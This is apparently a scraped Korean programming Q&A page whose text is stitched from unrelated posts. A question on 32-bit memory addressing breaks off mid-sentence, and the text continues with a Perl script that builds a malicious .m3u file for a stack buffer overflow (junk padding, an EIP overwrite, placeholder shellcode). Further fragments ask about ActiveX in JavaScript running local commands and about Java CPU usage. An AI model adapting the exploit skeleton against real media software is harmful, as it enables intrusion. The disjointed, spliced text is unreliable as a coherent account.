프로그래밍 QnA + 설치 및 활용 QnA

제가 요새 하드웨어 공부를 하게되면서 Memory의 구조를 스치듯(?)이 보았는데, 상당히 이해가 안가는 점이 있어서 질문남겨 봅니다ㅠㅠ

우선은 제가 본 메모리의 대략적인 구조 그림이 아래와 같은데요...

이것이 32bit 컴퓨터에서는 address라인과 data라인이 전부 32bit라고 합니다. 여기서 제가 궁금한점이, 그림에 따르면 32bit 컴퓨터에서 address가 0x00 00 00 00에서 data를 실제 32bit를 읽어오고 0x00 00 00 01에서도 data를 32bit 읽어오고 이렇게 되야하는데,

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = "BBBB";(여기에 pop pop return주소나 push return주소를 넣겟죠)
my $preshellcode = "XXXX";
my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .
"5ABCDEFGHIJK6ABCDEFGHIJK" .
"7ABCDEFGHIJK8ABCDEFGHIJK" .
"9ABCDEFGHIJKAABCDEFGHIJK".
"BABCDEFGHIJKCABCDEFGHIJK";
open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$shellcode;
close($FILE);
print "m3u File Created successfully\n";
 

위처럼 exploit코드를 넣습니다.

자바스크립트에서
var a = new ActiveXObject("...");
이런식으로 ActiveX 객체를 만들수 있습니다.

저기서 쉘, 파일시스템 등등의 오브젝트를 만들게 되면
로컬 컴퓨터상의 명령등을 수행시킬수 있고, 파일생성 등을 할수 있는데요

그냥 자기 컴퓨터상에 html 파일 만들고
거기에 자바스크립트 코드를 넣어서 실행해보면

'자바스크립트가 외부 객체와 상호작용하는데 안전하지 않을수 있습니다'

라는 경고창 뜨고, 그냥 '네' 누르면 잘 실행이 됩니다.

하지만 동일한 html 파일을 웹서버에 올려놓고
인터넷 상으로 접속하면 경고메시지도 안나오고 곧바로

'자동화 개체를 생성할 수 없습니다'
이런 자바스크립트 에러만 나면서 아예 실행이 불가능합니다.

이것이 인터넷 옵션에서 '인터넷 영역', '로컬 인트라넷', '신뢰사이트'
등의 브라우저 접근영역별로 정책이 달라서 그런거 같은데

아래와 같은 CPU 정보를 가진 서버에서 자바 프로그램을

구동하면 해당 프로세스의 CPU 점유율이 보통 10~20%정도에서 왔다갔다 합니다..

서버 #1(8GB Memory)
Intel(R) Xeon(R) CPU E5530 @ 2.40GHz
processor 0 1 2 3 4 5 6 7
physical id 0 2 4 6 1 3 5 7
siblings 1 1 1 1 1 1 1 1
core id 255 255 255 255 255 255 255 255
cpu cores 1 1 1 1 1 1 1 1

그러나... 아래와 같은 서버에서 구동을 하면 CPU 점유율이 보통 200~300% 정도에서

왔다갔다 하더라구요